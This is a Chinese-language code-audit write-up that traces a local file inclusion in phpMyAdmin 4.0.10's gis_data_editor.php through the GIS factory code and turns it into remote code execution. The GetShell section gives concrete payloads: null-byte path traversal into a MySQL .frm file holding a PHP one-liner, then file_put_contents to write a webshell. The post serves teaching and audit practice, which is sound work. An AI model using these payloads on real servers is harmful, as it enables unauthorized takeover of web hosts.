phpMyAdmin 4.0.10 文件包含 -> getshell
前言:這里這個漏洞相對來說審計起來不是特別難,但是對于初學者還是有點挑戰性的,從zkaq web課過來的小伙伴想挑戰一下自己代碼審計能力的話,可以直接跳到最后下載源碼,聶風老師上課教的是4.8版本的文件包含漏洞。注:源碼本地搭建無法登錄的話放在win7虛擬機里面運行
(注:如果直接跳到最后拿源碼自己審計的話,在文件包含的時候記得加上token值,就是get傳參中的那串token值留下。)
代碼審計
這里的話漏洞規則是我自己寫的
文件包含的話規則是:
include.*\$.{1,5}|include_once.*\$.{1,5}|require.*\$.{1,5}|require_once.*\$.{1,5}
如果師傅們有什么好的規則或者想法還請評論區分享下
這里的話自動審計出來的文件包含漏洞
還挺多的
這里的話我是自己一個一個追蹤排除尋找漏洞的
所以可能有些地方有漏洞但是因為我知識淺薄沒發現
這里漏洞不存在的案例就放一個了,不然文章就得寫太多了
這里的話能看到一個 include $_REQU
進入查看源碼
這里需要滿足四個條件才能夠包含 target
1 !empty($_REQUEST[‘target’])
empty()函數,判斷內容中的變量是否為空
如果為空,那么返回 True
!是取反,也就是檢測是否非空
說白了就是看一下這里有沒有傳入target這個變量
2 is_string($_REQUEST[‘target’])
檢測變量是否為字符串
3 ! preg_match(‘/^index/‘, $_REQUEST[‘target’])
正則表達式,^符號為匹配開頭,也就是說開頭需要是 index,返回值才是True
結合前面的感嘆號 “!”
布爾值取反,
也就是說,開頭不能是 index
4 in_array($_REQUEST[‘target’], $goto_whitelist)
in_array() 判斷第一個參數是否存在于第二個參數(數組)之中
也就是說,第二個參數是一個數組
判斷這個數組里面有沒有第一個參數
前三個條件都好滿足
主要是最后一個
全文搜索變量 $goto_whitelist
并沒有找到關于它的定義
推測這可能是一個全局變量
全局搜索
點進去查看一下
這里的內容全部被寫死了
也就是說不屬于我們可以控制的范圍
這個點就pass掉了
$goto_whitelist = array(//'browse_foreigners.php',//'changelog.php',//'chk_rel.php','db_create.php','db_datadict.php','db_sql.php','db_events.php','db_export.php','db_importdocsql.php','db_qbe.php','db_structure.php','db_import.php','db_operations.php','db_printview.php','db_search.php','db_routines.php','export.php','import.php',//'index.php',//'navigation.php',//'license.php','index.php','pdf_pages.php','pdf_schema.php',//'phpinfo.php','querywindow.php','server_binlog.php','server_collations.php','server_databases.php','server_engines.php','server_export.php','server_import.php','server_privileges.php','server_sql.php','server_status.php','server_status_advisor.php','server_status_monitor.php','server_status_queries.php','server_status_variables.php','server_variables.php','sql.php','tbl_addfield.php','tbl_change.php','tbl_create.php','tbl_import.php','tbl_indexes.php','tbl_move_copy.php','tbl_printview.php','tbl_sql.php','tbl_export.php','tbl_operations.php','tbl_structure.php','tbl_relation.php','tbl_replace.php','tbl_row_action.php','tbl_select.php','tbl_zoom_select.php',//'themes.php','transformation_overview.php','transformation_wrapper.php','user_password.php',
);
漏洞點
查看代碼
class PMA_GIS_Factory
{/*** Returns the singleton instance of geometric class of the given type.** <span>@param</span> string $type type of the geometric object** <span>@return</span> object the singleton instance of geometric class of the given type* <span>@access</span> public* <span>@static#CTL{n}</span> */public static function factory($type){include_once './libraries/gis/pma_gis_geometry.php';$type_lower = strtolower($type);if (! file_exists('./libraries/gis/pma_gis_' . $type_lower . '.php')) {return false;}if (include_once './libraries/gis/pma_gis_' . $type_lower . '.php') {switch(strtoupper($type)) {case 'MULTIPOLYGON' :return PMA_GIS_Multipolygon::singleton();case 'POLYGON' :return PMA_GIS_Polygon::singleton();case 'MULTIPOINT' :return PMA_GIS_Multipoint::singleton();case 'POINT' :return PMA_GIS_Point::singleton();case 'MULTILINESTRING' :return PMA_GIS_Multilinestring::singleton();case 'LINESTRING' :return PMA_GIS_Linestring::singleton();case 'GEOMETRYCOLLECTION' :return PMA_GIS_Geometrycollection::singleton();default :return false;}} else {return false;}}
}
追蹤過去
變量 $type_lower 被拼接在了內容里
向上追蹤
這里 $type_lower 是將 $type 的字符轉化為小寫
$type 是函數的傳入參數
然后我們搜索一下這個函數在哪里被調用了
一個一個往下找吧
除了第二個
因為第二個是定義這個函數
第一個,這里傳入參數是 $geom_type
向上追蹤 $geom_type
這里 $geom_type是取出數組
$gis_data中的 gis_type 鍵所對應的值
也就是說
$gis_data 是一個數組
這個數組里面有鍵值對
把 gis_type 取出來
變成變量 $geom_type
再向上追溯
這個代碼塊,會給 數組 gis_type 賦值
如果滿足了 這些 if 條件
那么 gis_type 就相當于被寫死了
查看最上面的 if 條件
! isset($gis_data[‘gis_type’])
isset() 檢測變量是否存在
存在返回 True
加上感嘆號取反
就是不存在返回 True
也就是檢測是否為空
為空才會執行
所以這里也沒什么卵用
再向上追溯
這里第一句先給 $gis_data 建立成一個空數組
然后用了一個函數作為布爾值的返回
如果函數返回值為True
那么$gis_data的值就會變成我們所傳入的
$_REQUEST[‘gis_data’]
追蹤函數
function PMA_isValid($var, $type = 'length', $compare = null)
{if (! isset($var)) {// var is not even setreturn false;}if ($type === false) {// no vartype requestedreturn true;}if (is_array($type)) {return in_array($var, $type);}// allow some aliaes of var types$type = strtolower($type);switch ($type) {case 'identic' :$type = 'identical';break;case 'len' :$type = 'length';break;case 'bool' :$type = 'boolean';break;case 'float' :$type = 'double';break;case 'int' :$type = 'integer';break;case 'null' :$type = 'NULL';break;}if ($type === 'identical') {return $var === $compare;}// whether we should check against given $compareif ($type === 'similar') {switch (gettype($compare)) {case 'string':case 'boolean':$type = 'scalar';break;case 'integer':case 'double':$type = 'numeric';break;default:$type = gettype($compare);}} elseif ($type === 'equal') {$type = gettype($compare);}// do the checkif ($type === 'length' || $type === 'scalar') {$is_scalar = is_scalar($var);if ($is_scalar && $type === 'length') {return (bool) strlen($var);}return $is_scalar;}if ($type === 'numeric') {return is_numeric($var);}if (gettype($var) === $type) {return true;}return false;
}
我們一步一步來看
剛剛調用函數時,傳入的第一個參數為
$_REQUEST[‘gis_data’]
第二個參數為
‘array’
先來看前三個if語句
if (! isset($var)) {// var is not even setreturn false;}if ($type === false) {// no vartype requestedreturn true;}if (is_array($type)) {return in_array($var, $type);}
第一個檢測$var是否存在
不存在返回 false
如果我們傳入了變量 $_REQUEST[‘gis_data’]
第一個 if 就無影響
第二個if 判斷 $type 的值是否全等于 false
但是$type的值是array
也就過掉了
第三個if是判斷$type是不是數組
很顯然不是,也過掉
然后就是一個switch語句
switch ($type) {case 'identic' :$type = 'identical';break;case 'len' :$type = 'length';break;case 'bool' :$type = 'boolean';break;case 'float' :$type = 'double';break;case 'int' :$type = 'integer';break;case 'null' :$type = 'NULL';break;
}
這里的話 case 就是匹配 $type 的值
當 $type 的值和某一個對應上了
就執行這個case下的語句
很顯然這里沒有一個是array的
無影響
接下來的三個if還是判斷 $type 的值有無對應的
但是很顯然,沒有對應
if ($type === 'similar') {switch (gettype($compare)) {case 'string':case 'boolean':$type = 'scalar';break;case 'integer':case 'double':$type = 'numeric';break;default:$type = gettype($compare);}} elseif ($type === 'equal') {$type = gettype($compare);}// do the checkif ($type === 'length' || $type === 'scalar') {$is_scalar = is_scalar($var);if ($is_scalar && $type === 'length') {return (bool) strlen($var);}return $is_scalar;}if ($type === 'numeric') {return is_numeric($var);}
最后一個if語句
gettype() 獲取參數的屬性
$type -> array
也就是說我們的$var需要是一個數組
這里的返回值就是True了
if (gettype($var) === $type) {return true;}
GetShell
利用聶風老師上課講的知識點
創建一個表
寫入一句話木馬
(注:這里木馬的密碼不能是數字,也不能和其他cms里已經用過的參數沖突,不然會被判斷值什么的然后重置)
然后找一下sql文件的儲存路徑
得到路徑
C:/phpStudy/MySQL/data/
然后這里就有一個問題了
linux對路徑大小寫銘感
因為有一條語句會將我們傳入的參數
都變成小寫
所以在linux中,如果路徑里有大寫字母
就不能用了
但是一般來說,是小寫
這也可以成為我們的一種防御思路
銘感路徑用駝峰命名法
簡單好用還能防漏洞
構造payload
gis_data[gis_type]=/../../../../../../../../../../../../phpstudy/mysql/data/wz/abc.frm%00&a=phpinfo();
wz是數據庫庫名
然后拼接起來的話就是
./libraries/gis/pmagis/../../../../../../../../../../../../phpstudy/mysql/data/wz/abc.frm%00.php
因為%00
.php會被忽略
然后訪問存在漏洞的頁面
gis_data_editor.php
利用hackbar
將其他的參數刪掉
留下token
因為會通過token值進行一些判斷
如果沒有token值可能被認定為CSRF攻擊(應該)
從而被攔截
發送數據包之后如果沒反應
可以把上面的url滑到最后
查看上面的url和自己填的一樣不一樣
不一樣就改了
成功代碼執行
然后再改造payload寫入木馬
gis_data[gis_type]=/../../../../../../../../../../../../phpstudy/mysql/data/wz/abc.frm%00&a=file_put_contents(‘3.php’,’’);
這里的話用system() + echo 寫木馬會有點問題,所以就直接用file_put_contents()了
訪問3.php
連接蟻劍
成功拿下目標web服務器
總結
還是剛剛說的那些,這里如果是Linux服務器的話,并且sql文件儲存路徑有大小寫的話,就沒辦法拿到webshell了,并且還不能任意文件包含,還只能包含路徑沒有大寫字符的,反正至少以我目前的水平是不行的,不過 linux 默認mysql文件的路徑是 /var/lib/mysql/。默認情況下是無影響的。
??聲明:?中所涉及的技術、思路和?具僅供以安全為?的的學習交流使?,任何?不得將其?于?法?途以及盈利等?的,否則后果??承擔。所有滲透都需獲取授權!